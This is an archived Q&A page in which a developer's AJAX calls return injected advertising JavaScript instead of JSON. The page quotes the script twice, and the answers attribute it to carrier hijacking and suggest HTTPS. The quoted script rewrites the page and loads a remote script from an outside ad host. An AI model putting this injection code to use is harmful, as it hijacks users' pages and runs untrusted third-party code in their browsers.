Home > Backend Development > PHP Tutorial > What should I do if the data returned when js requests the interface is replaced by advertisements?

What should I do if the data returned when js requests the interface is replaced by advertisements?

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
Release: 2016-07-06 13:52:15
Original
2045 people have browsed it

The data returned by js ajax request has been replaced. Normally, json data should be returned, but a lot of advertisements are returned.

The returned content is as follows:



<code><script>!
  function() {
    function a() {
      var a = new Date;
      a.setTime(a.getTime() + 6e4),
      document.cookie = "sessioned=1;expires=" + a.toUTCString()
    }
    function b(b) {
      a(),
      setTimeout(function() {
        location.href = location.href
      },
      b)
    }
    var d, e, f, c = 1e4;
    try {
      if (!/sessioned=1/.test(document.cookie)) {
        a(),
        e = document.createElement("script"),
        f = !1,
        e.src = "http://www.henan139.com/js/V20/ad01.js?1",
        d = new XMLHttpRequest,
        d.open("GET", window.location, !0),
        d.setRequestHeader("X-Requested-With", "XMLHttpRequest");
        try {
          d.timeout = c
        } catch(g) {}
        d.send(),
        d.onreadystatechange = function() {
          try {
            if (4 == d.readyState) {
              if (200 != d.status || "text/html" != d.getResponseHeader("Content-Type")) throw "";
              text = d.responseText.replace(/<\/body>/i, e.outerHTML + "</body>"),
              document.open("text/html", "replace"),
              document.write(text),
              setTimeout(function() {
                document.close()
              },
              1e3),
              f = !0
            }
          } catch(a) {
            b(100)
          }
        }
      }
    } catch(g) {
      b(150)
    } finally {
      setTimeout(function() {
        f || b(1)
      },
      c + 1e3)
    }
  } ();</script></code>
Copy after login
Copy after login

Reply content:

The data returned by js ajax request has been replaced. Normally, json data should be returned, but a lot of advertisements are returned.

The returned content is as follows:



<code><script>!
  function() {
    function a() {
      var a = new Date;
      a.setTime(a.getTime() + 6e4),
      document.cookie = "sessioned=1;expires=" + a.toUTCString()
    }
    function b(b) {
      a(),
      setTimeout(function() {
        location.href = location.href
      },
      b)
    }
    var d, e, f, c = 1e4;
    try {
      if (!/sessioned=1/.test(document.cookie)) {
        a(),
        e = document.createElement("script"),
        f = !1,
        e.src = "http://www.henan139.com/js/V20/ad01.js?1",
        d = new XMLHttpRequest,
        d.open("GET", window.location, !0),
        d.setRequestHeader("X-Requested-With", "XMLHttpRequest");
        try {
          d.timeout = c
        } catch(g) {}
        d.send(),
        d.onreadystatechange = function() {
          try {
            if (4 == d.readyState) {
              if (200 != d.status || "text/html" != d.getResponseHeader("Content-Type")) throw "";
              text = d.responseText.replace(/<\/body>/i, e.outerHTML + "</body>"),
              document.open("text/html", "replace"),
              document.write(text),
              setTimeout(function() {
                document.close()
              },
              1e3),
              f = !0
            }
          } catch(a) {
            b(100)
          }
        }
      }
    } catch(g) {
      b(150)
    } finally {
      setTimeout(function() {
        f || b(1)
      },
      c + 1e3)
    }
  } ();</script></code>
Copy after login
Copy after login

This situation is usually hijacked by the operator. The best solution is to use HTTPS

The response matches the keyword of the advertisement. If it is an advertisement, the request is discarded and the request is made again.

Related labels:
php
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Latest Issues
php data acquisition?
From 1970-01-01 08:00:00
0
0
0
PHP extension intl
From 1970-01-01 08:00:00
0
0
0
How to learn php well
From 1970-01-01 08:00:00
0
0
0
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template